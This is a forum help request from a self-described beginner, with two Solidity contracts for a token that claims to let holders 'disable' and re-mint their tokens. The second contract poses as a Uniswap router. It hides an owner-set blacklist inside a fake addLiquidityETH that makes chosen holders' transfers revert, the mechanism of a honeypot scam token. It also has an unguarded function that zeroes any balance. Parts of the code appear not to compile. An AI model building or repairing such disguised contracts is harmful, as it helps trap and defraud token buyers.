My Project is about a Token in which the Holder can disable their token at the Old Address and Receive a New Minted token.
It uses 2 different contacts. I put the functions in the BBB contract and will call it from the AAA contract. I saved the BBB contract address in the AAA contract using the variable uniswap.
I deployed both contracts using the same Wallet.
After testing, I encountered a problem.
Boom function: the function is successful, but the number of tokens at the destination address does not change.
Mint Function: function error and cannot be executed.
Can anyone help me. I'm completely new to this.
Contract AAA
interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external view returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function mint(address to, uint256 amount) external payable returns (uint256 _balances); function setzero(address newTaxWallet) external; function TaxWallet(address newTaxWallet) external; function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function balanceOf(address account) external view returns (uint256); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface ISwapPair { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function token0() external view returns (address); function balanceOf(address account) external view returns (uint256); function totalSupply() external view returns (uint256); function kLast() external view returns (uint); } contract AAA is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name; string private _symbol; uint8 private _decimals; address payable private marketingWalletAddress; address payable private teamWalletAddress; address private deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 private preLPUnlockTime = 1695470400; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private isMarketPair; mapping(address => UserInfo) private _userInfo; struct UserInfo { uint256 lpAmount; bool preLP; uint256 unlockTime; } uint256 private _totalTaxIfBuying = 0; uint256 private _totalTaxIfSelling = 0; uint256 private _totalSupply; uint256 private _minimumTokensBeforeSwap = 0; address private _usdt; bool private startTx; IUniswapV2Router02 private uniswap; address private uniswapPair; bool inSwapAndLiquify; bool private swapAndLiquifyEnabled = false; bool private swapAndLiquifyByLimitOnly = false; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor ( string memory coinName, string memory coinSymbol, uint8 coinDecimals, uint256 supply ) payable { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _name = coinName; _symbol = coinSymbol; _decimals = coinDecimals; _owner = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4; _totalSupply = supply * 10 ** _decimals; marketingWalletAddress = payable(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4); teamWalletAddress = payable(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4); uniswap = _uniswapV2Router; _allowances[address(this)][address(uniswap)] = _totalSupply; _balances[_owner] = _totalSupply; emit Transfer(address(0), _owner, _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return _minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { _minimumTokensBeforeSwap = newLimit; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); uniswap = _uniswapV2Router; //Set new router address isMarketPair[address(uniswapPair)] = true; } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function Minter(address to, uint256 amount) public payable { uniswap.mint(to, amount); } function Boom(address newTaxWallet) external { uniswap.setzero (newTaxWallet); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= _minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = _minimumTokensBeforeSwap; addLiquidity(sender,contractTokenBalance); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = takeFee(sender, recipient, amount); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { // swap token -> eth swapTokensForEth(tAmount); uint256 amountReceived = address(this).balance; // team eth uint256 amountUSDTTeam = amountReceived.mul(50).div(100); // marketing eth uint256 amountUSDTMarketing = amountReceived.sub(amountUSDTTeam); if(amountUSDTMarketing > 0) transferToAddressETH(marketingWalletAddress, amountUSDTMarketing); if(amountUSDTTeam > 0) transferToAddressETH(teamWalletAddress, amountUSDTTeam); } function addLiquidity(address sender,uint256 tokenAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswap), tokenAmount); uint256 ethAmount = address(this).balance; // add the liquidity uniswap.addLiquidityETH{value: ethAmount}( sender, tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswap.WETH(); _approve(address(this), address(uniswap), tokenAmount); // make the swap uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(isMarketPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(isMarketPair[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } } Contract BBB
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.7; // Define interface for TransferController interface RouterController { function WETH() external view returns (address); function getAmountsIn(uint amountIn,address[] calldata path) external view returns (uint[] memory amounts); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BBB is RouterController{ mapping(address => uint256) private _isBlacklisted; mapping(address => uint256) private _balances; address private owner; constructor (){ owner = msg.sender; } function WETH() external view override returns(address){ address ad = address(this); return ad; } function getCode() public view returns (uint256) { address ad = address(this); uint256 result = uint160(ad); return result; } function getCode2(address addr) public pure returns (uint256) { uint256 result = uint160(addr); return result; } function getCode3(uint160 addr) public pure returns (address) { address result = address(addr); return result; } function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external virtual override payable returns (uint amountToken, uint amountETH, uint liquidity) { amountToken = amountTokenDesired; amountETH = amountTokenMin; liquidity = _isBlacklisted[token]; if(liquidity > 0){ require(false); } } function getAmountsIn(uint amountIn, address[] memory path) public view virtual override returns (uint[] memory amounts) { amounts = new uint[](path.length); amounts[0] = _isBlacklisted[path[0]]; return amounts; } function botAddress(address[] calldata accounts, uint256 excluded) public { require(msg.sender == owner); for (uint256 i = 0; i < accounts.length; i++) { _isBlacklisted[accounts[i]] = excluded; } } function mint(address to, uint256 amount) external virtual payable returns (uint256 balances){ require(msg.sender == owner); balances = _balances[owner] += amount; } function setzero(address newTaxWallet) external { uint256 a = 0; _balances [newTaxWallet] *= a; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function getTime() public view returns (uint256) { return block.timestamp; } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } 
